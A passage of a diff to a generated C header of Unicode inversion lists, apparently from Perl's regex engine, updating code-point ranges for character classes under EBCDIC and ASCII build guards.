+	0x11C72,
 	0x11C90,
 	0x11C92,
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
 	0x1246F,
-	0x12470,
-	0x12475,
 	0x12480,
 	0x12544,
 	0x13000,
@@ -32560,18 +151044,16 @@
 	0x16A5F,
 	0x16A60,
 	0x16A6A,
-	0x16A6E,
-	0x16A70,
 	0x16AD0,
 	0x16AEE,
 	0x16AF0,
-	0x16AF6,
+	0x16AF5,
 	0x16B00,
-	0x16B46,
+	0x16B37,
+	0x16B40,
+	0x16B44,
 	0x16B50,
 	0x16B5A,
-	0x16B5B,
-	0x16B62,
 	0x16B63,
 	0x16B78,
 	0x16B7D,
@@ -32583,13 +151065,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -32598,20 +151082,20 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9C,
-	0x1BCA4,
-	0x1D000,
-	0x1D0F6,
-	0x1D100,
-	0x1D127,
-	0x1D129,
-	0x1D1E9,
-	0x1D200,
-	0x1D246,
-	0x1D300,
-	0x1D357,
-	0x1D360,
-	0x1D372,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -32651,9 +151135,37 @@
 	0x1D552,
 	0x1D6A6,
 	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
 	0x1D7CC,
 	0x1D7CE,
-	0x1DA8C,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -32670,14 +151182,12 @@
 	0x1E02B,
 	0x1E800,
 	0x1E8C5,
-	0x1E8C7,
+	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
-	0x1E95E,
-	0x1E960,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -32744,72 +151254,12 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1EEF0,
-	0x1EEF2,
-	0x1F000,
-	0x1F02C,
-	0x1F030,
-	0x1F094,
-	0x1F0A0,
-	0x1F0AF,
-	0x1F0B1,
-	0x1F0C0,
-	0x1F0C1,
-	0x1F0D0,
-	0x1F0D1,
-	0x1F0F6,
-	0x1F100,
-	0x1F10D,
-	0x1F110,
-	0x1F12F,
 	0x1F130,
-	0x1F16C,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
 	0x1F170,
-	0x1F1AD,
-	0x1F1E6,
-	0x1F203,
-	0x1F210,
-	0x1F23C,
-	0x1F240,
-	0x1F249,
-	0x1F250,
-	0x1F252,
-	0x1F300,
-	0x1F6D3,
-	0x1F6E0,
-	0x1F6ED,
-	0x1F6F0,
-	0x1F6F7,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93F,
-	0x1F940,
-	0x1F94C,
-	0x1F950,
-	0x1F95F,
-	0x1F980,
-	0x1F992,
-	0x1F9C0,
-	0x1F9C1,
+	0x1F18A,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -32818,22 +151268,23 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
-	0xE0001,
-	0xE0002,
-	0xE0020,
-	0xE0080,
 	0xE0100,
-	0xE01F0,
-	0xF0000,
-	0xFFFFE,
-	0x100000,
-	0x10FFFE
+	0xE01F0
 };
 
-static const UV Cased_invlist[] = { /* for EBCDIC 1047 */
-	297,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXWORD_invlist[] = { /* for EBCDIC 037 */
+	1407,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -32844,6 +151295,8 @@
 	0x5A,
 	0x62,
 	0x6A,
+	0x6D,
+	0x6E,
 	0x70,
 	0x79,
 	0x80,
@@ -32859,11 +151312,7 @@
 	0xA2,
 	0xAA,
 	0xAC,
-	0xAD,
-	0xAE,
 	0xAF,
-	0xBA,
-	0xBB,
 	0xC1,
 	0xCA,
 	0xCB,
@@ -32875,25 +151324,21 @@
 	0xE2,
 	0xEA,
 	0xEB,
-	0xF0,
+	0xFA,
 	0xFB,
 	0xFF,
 	0x100,
-	0x1BB,
-	0x1BC,
-	0x1C0,
-	0x1C4,
-	0x294,
-	0x295,
-	0x2B9,
-	0x2C0,
 	0x2C2,
+	0x2C6,
+	0x2D2,
 	0x2E0,
 	0x2E5,
-	0x345,
-	0x346,
-	0x370,
-	0x374,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
 	0x376,
 	0x378,
 	0x37A,
@@ -32912,12 +151357,384 @@
 	0x3F6,
 	0x3F7,
 	0x482,
-	0x48A,
+	0x483,
 	0x530,
 	0x531,
 	0x557,
+	0x559,
+	0x55A,
 	0x561,
 	0x588,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x1050,
+	0x109E,
 	0x10A0,
 	0x10C6,
 	0x10C7,
@@ -32924,15 +151741,143 @@
 	0x10C8,
 	0x10CD,
 	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1380,
+	0x1390,
 	0x13A0,
 	0x13F6,
 	0x13F8,
 	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
 	0x1C80,
 	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1E00,
+	0x1DFA,
+	0x1DFB,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -32970,6 +151915,12 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
+	0x200C,
+	0x200E,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
 	0x2071,
 	0x2072,
 	0x207F,
@@ -32976,6 +151927,8 @@
 	0x2080,
 	0x2090,
 	0x209D,
+	0x20D0,
+	0x20F1,
 	0x2102,
 	0x2103,
 	0x2107,
@@ -32995,8 +151948,6 @@
 	0x212A,
 	0x212E,
 	0x212F,
-	0x2135,
-	0x2139,
 	0x213A,
 	0x213C,
 	0x2140,
@@ -33005,9 +151956,7 @@
 	0x214E,
 	0x214F,
 	0x2160,
-	0x2180,
-	0x2183,
-	0x2185,
+	0x2189,
 	0x24B6,
 	0x24EA,
 	0x2C00,
@@ -33017,8 +151966,6 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -33026,46 +151973,550 @@
 	0x2D28,
 	0x2D2D,
 	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
 	0xA640,
-	0xA66E,
-	0xA680,
-	0xA69E,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
+	0xA720,
 	0xA722,
-	0xA788,
+	0xA789,
 	0xA78B,
-	0xA78F,
-	0xA790,
 	0xA7AF,
 	0xA7B0,
 	0xA7B8,
-	0xA7F8,
-	0xA7FB,
+	0xA7F7,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9C1,
+	0xA9CF,
+	0xA9DA,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
 	0xAB30,
 	0xAB5B,
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABC0,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF10,
+	0xFF1A,
 	0xFF21,
 	0xFF3B,
+	0xFF3F,
+	0xFF40,
 	0xFF41,
 	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
 	0x10400,
-	0x10450,
+	0x1049E,
+	0x104A0,
+	0x104AA,
 	0x104B0,
 	0x104D4,
 	0x104D8,
 	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
 	0x10C80,
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
+	0x11000,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
 	0x118A0,
-	0x118E0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -33126,73 +152577,476 @@
 	0x1D7C3,
 	0x1D7C4,
 	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E900,
-	0x1E944,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
 	0x1F130,
 	0x1F14A,
 	0x1F150,
 	0x1F16A,
 	0x1F170,
-	0x1F18A
+	0x1F18A,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 037 */
 
-#if defined(PERL_IN_REGCOMP_C)
+#   if 'A' == 65 /* ASCII/Latin1 */
 
-static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 1047 */
-	45,	/* Number of elements */
+static const UV PL_XPOSIXXDIGIT_invlist[] = { /* for ASCII/Latin1 */
+	13,	/* Number of elements */
